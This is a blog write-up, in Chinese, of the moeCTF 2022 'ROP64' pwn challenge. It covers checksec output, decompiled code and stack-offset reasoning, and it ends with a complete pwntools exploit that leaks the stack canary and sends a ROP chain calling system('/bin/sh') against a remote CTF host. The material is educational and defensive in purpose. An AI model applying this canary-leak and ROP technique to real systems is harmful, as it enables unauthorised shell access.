ROP64 栈溢出漏洞利用
AI-摘要
KunKunYu GPT
AI初始化中...
介绍自己
生成本文简介
推荐相关文章
前往主页
前往tianli博客
[!info] 题目信息
名称:ROP64
漏洞类型: 栈溢出 + Canary 绕过 + ROP 链利用
目标: 获取远程服务器 shell
来源:BugKu
所属赛事: moeCTF 2022
文件:pwn. zip
下载:夸克网盘
安全检查(Checksec)
首先使用 checksec 检查二进制文件的安全机制:
checksec pwn
检查结果:
- Arch: amd64-64-little
- RELRO: Partial RELRO
- Stack: Canary found ⚠️ (存在栈保护)
- NX: NX enabled ⚠️ (堆栈不可执行,需要使用 ROP)
- PIE: No PIE ✅ (地址固定,便于利用)
- SHSTK: Enabled
- IBT: Enabled
关键发现:
- 有 Canary 保护:需要先泄露 canary 才能进行栈溢出利用
- NX 保护开启:不能直接执行 shellcode,需要使用 ROP 技术
- 无 PIE 保护:函数和 gadget 地址固定,便于构造 ROP 链
静态分析
Main 函数伪代码
使用 IDA Pro 进行反汇编分析,得到 main 函数和 vuln 函数的伪代码:
int __fastcall main(int argc, const char **argv, const char **envp)
{
system("echo Go Go Go!!!\n");
vuln("echo Go Go Go!!!\n", argv);
return 0;
}
Vuln 函数伪代码
unsigned __int64 vuln()
{
char s[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u); // 读取Canary值
memset(s, 0, sizeof(s));
read(0, s, 0x30u); // 第一次读取,最多0x30(48)字节
printf("%s", s); // 输出读取的内容
read(0, s, 0x50u); // 第二次读取,最多0x50(80)字节 ⚠️ 存在溢出
return v2 - __readfsqword(0x28u); // 检查Canary是否被破坏
}
漏洞定位
通过代码分析发现关键问题:
- 缓冲区大小:
char s[40]只分配了 40 字节(0x28 字节) - 第一次 read:
read(0, s, 0x30u)读取 0x30 (48) 字节,虽然超过缓冲区,但会被 printf 输出,可以用于泄露 canary - 第二次 read:
read(0, s, 0x50u)读取 0x50 (80) 字节,严重溢出!- 缓冲区只有 40 字节
- 但可以写入 80 字节
- 足以覆盖 canary、RBP 和返回地址
栈布局分析
根据代码中的注释和偏移量分析:
- 缓冲区
s[40]起始位置:rbp - 0x30 - Canary
v2位置:rbp - 0x8
偏移量计算:
从缓冲区起始位置到 Canary 位置的距离:
距离 = 高地址 - 低地址
距离 = Canary地址 - 缓冲区起始地址
距离 = (rbp - 0x8) - (rbp - 0x30)
距离 = rbp - 0x8 - rbp + 0x30
距离 = 0x30 - 0x8 = 0x28 (40字节)
因此,需要填充 0x28 (40 字节) 才能到达 Canary 位置。这个值正好等于缓冲区的大小 char s[40]。
栈内存布局示意图:
高地址
+------------------+
| 返回地址 (RIP) | <- rbp + 0x8
+------------------+
| 旧RBP | <- rbp
+------------------+
| Canary | <- rbp - 0x8 (v2变量,8字节)
+------------------+
| 缓冲区[0x28] | <- rbp - 0x30 (s数组,40字节)
+------------------+
低地址
第二次 read 时的溢出覆盖:
- 填充 40 字节覆盖整个缓冲区
- 覆盖 Canary(8 字节)
- 覆盖旧 RBP(8 字节)
- 覆盖返回地址(8 字节)← ROP 链起始位置
漏洞分析
栈溢出漏洞
程序在 vuln() 函数中存在明显的栈溢出漏洞:
-
第一次 read 溢出:
- 缓冲区
char s[40]只有 40 字节 read(0, s, 0x30u)读取 48 字节,超出 8 字节- 会覆盖到 canary 的一部分(最低字节通常是
\x00) printf("%s", s)会输出整个字符串,包括 canary 的一部分
- 缓冲区
-
第二次 read 溢出:
read(0, s, 0x50u)读取 80 字节,严重超出 40 字节缓冲区- 可以覆盖:
- 缓冲区后 8 字节(覆盖 canary 的剩余部分)
- Canary 值(8 字节)
- 旧 RBP(8 字节)
- 返回地址(8 字节)
Canary 保护绕过
由于程序启用了 Canary 保护(__readfsqword(0x28u)),利用过程:
-
第一次 read 泄露 Canary:
- 发送 40 字节填充 + 7 字节(覆盖 canary 除了
\x00的部分) printf("%s", s)会输出 48 字节,包括 canary 的 7 字节- 从输出中提取 canary 值
- 发送 40 字节填充 + 7 字节(覆盖 canary 除了
-
第二次 read 构造 ROP 链:
- 使用泄露的 canary 正确覆盖
- 绕过 canary 检查(
v2 - __readfsqword(0x28u) == 0) - 覆盖返回地址为 ROP 链起始地址
ROP 链构造
由于 NX 保护开启,不能直接执行 shellcode,需要构造 ROP 链调用 system('/bin/sh'):
- 寻找
pop rdi; retgadget:设置第一个参数(/bin/sh字符串地址) - 查找
/bin/sh字符串:在二进制文件中的地址 - 调用 system 函数:地址为
0x401284(通过静态分析获得)
利用思路
攻击流程
根据 vuln() 函数的两次 read 操作,攻击分为两个阶段:
-
第一次 read 泄露 Canary
read(0, s, 0x30u)可以读取 48 字节- 发送 40 字节填充 + 7 字节(覆盖 canary 的低 7 字节)
printf("%s", s)会输出整个字符串,包括 canary 的 7 字节- 由于 canary 最低位是
\x00(字符串结束符),会被自动截断 - 从输出中提取并补齐 canary 值
-
第二次 read 构造 ROP 链
read(0, s, 0x50u)可以读取 80 字节,足以覆盖返回地址- 构造 payload:
填充(0x28) + Canary + RBP填充(0x8) + pop_rdi_gadget + binsh_addr + system_addr - 发送 payload,覆盖返回地址为 ROP 链起始地址
- 函数返回时执行
system('/bin/sh')获取 shell
5.2 关键地址获取
使用 pwntools 自动查找:
# 查找pop rdi; ret gadget
rdi = rop.find_gadget(['pop rdi','ret']).address
# 查找/bin/sh字符串
binsh = next(elf.search('/bin/sh'))
# system函数地址(通过静态分析获得)
system_addr = 0x401284
详细利用步骤
6.1 环境准备
from pwn import *
host = '49.232.142.230'
port = 17062
p = remote(host, port)
context.encoding = 'ascii'
elf = ELF('./pwn')
rop = ROP(elf)
泄露 Canary
# 等待程序输出提示信息(main函数中的system("echo Go Go Go!!!\n"))
p.recvuntil('Go!!!\n')
# 计算偏移量:缓冲区大小
offset = 0x30 - 0x8 # 0x28 (40字节)
# 第一次read:发送40字节填充,触发printf输出
payload = b'a' * offset
p.sendline(payload)
# 接收printf的输出
# printf("%s", s)会输出40个'a',遇到canary的\x00截断
p.recvuntil('a\n')
# 接收canary的7字节(最低位\x00已被printf当作字符串结束符)
canary = u64(p.recv(7).rjust(8, b'\0')) # 补齐为8字节
success('canary ----> %#x', canary)
原理说明:
read(0, s, 0x30u)可以读取 48 字节,但我们只发送 40 字节printf("%s", s)会输出 40 个字符,然后遇到 canary 的\x00字节被截断- 实际上 canary 的
\x00后面还有 7 字节数据,通过p.recv(7)接收 - 使用
rjust(8, b'\0')在低位补齐\x00,还原完整的 canary值 u64()将字节转换为 64 位整数
构造 ROP 链
# 查找必要的gadget和字符串
rdi = rop.find_gadget(['pop rdi','ret']).address
binsh = next(elf.search('/bin/sh'))
# 第二次read:构造ROP链payload
# read(0, s, 0x50u)可以读取80字节,足以覆盖返回地址
payload2 = (
b'a' * offset + # 填充40字节到canary位置
p64(canary) + # 正确的canary值(绕过__readfsqword检查)
b'a' * 8 + # 覆盖旧RBP(8字节)
p64(rdi) + # pop rdi; ret gadget地址
p64(binsh) + # /bin/sh字符串地址(rdi参数)
p64(0x401284) # system函数地址
)
p.sendline(payload2) # 触发第二次read,覆盖返回地址
栈布局示意图:
+------------------+
| system(0x401284)| <- 返回地址被覆盖为system
+------------------+
| binsh地址 | <- rdi参数:/bin/sh字符串地址
+------------------+
| pop_rdi; ret | <- gadget地址
+------------------+
| 填充(8字节) | <- RBP位置
+------------------+
| Canary | <- 正确的canary值
+------------------+
| 填充(0x28字节) | <- 缓冲区
+------------------+
6.4 获取 Shell
p.interactive()
执行流程:
pop rdi; ret将栈上的binsh地址弹出到rdi寄存器ret返回到system函数地址system(rdi)即system('/bin/sh')被执行- 获得 shell 权限
完整 EXP
from pwn import *
host = '49.232.142.230'
port = 17062
p = remote(host, port)
context.encoding = 'ascii'
elf = ELF('./pwn')
rop = ROP(elf)
offset = 0x30 - 0x8
rdi = rop.find_gadget(['pop rdi','ret']).address
binsh = next(elf.search('/bin/sh'))
p.recvuntil('Go!!!\n')
payload = b'a'*(offset)
p.sendline(payload)
p.recvuntil('a\n')
canary = u64(p.recv(7).rjust(8, b'\0'))
success('canary ----> %#x', canary)
payload2 = b'a'*(offset) + p64(canary) + b'a'*8 + p64(rdi) +p64(binsh) + p64(0x401284)
p.sendline(payload2)
p.interactive()
知识点总结
8.1 漏洞类型
- 栈缓冲区溢出:输入超出缓冲区边界,覆盖栈上数据
8.2 安全机制绕过
- Canary 绕过:通过部分覆盖触发输出,泄露 canary 值
- NX 绕过:使用 ROP 技术,不执行 shellcode 而是重用已有代码
8.3 利用技术
- ROP(Return-Oriented Programming):通过控制返回地址,跳转到 gadget 链执行特定操作
- 64 位调用约定:使用
rdi寄存器传递第一个参数
8.4 工具使用
- pwntools:自动化漏洞利用工具
- IDA Pro/Ghidra:静态分析工具
- checksec:安全检查工具
防护建议
- 输入验证:对用户输入进行严格的边界检查
- 使用安全的输入函数:使用
fgets替代gets,使用strncpy替代strcpy - 编译器保护:确保启用所有安全编译选项(Canary、NX、PIE 等)
- 代码审计:定期进行安全代码审查,查找潜在的缓冲区溢出漏洞
- 感谢你赐予我前进的力量
赞赏者名单
因为你们的支持让我意识到写文章的价值🙏
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 鸾觞酌醴
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果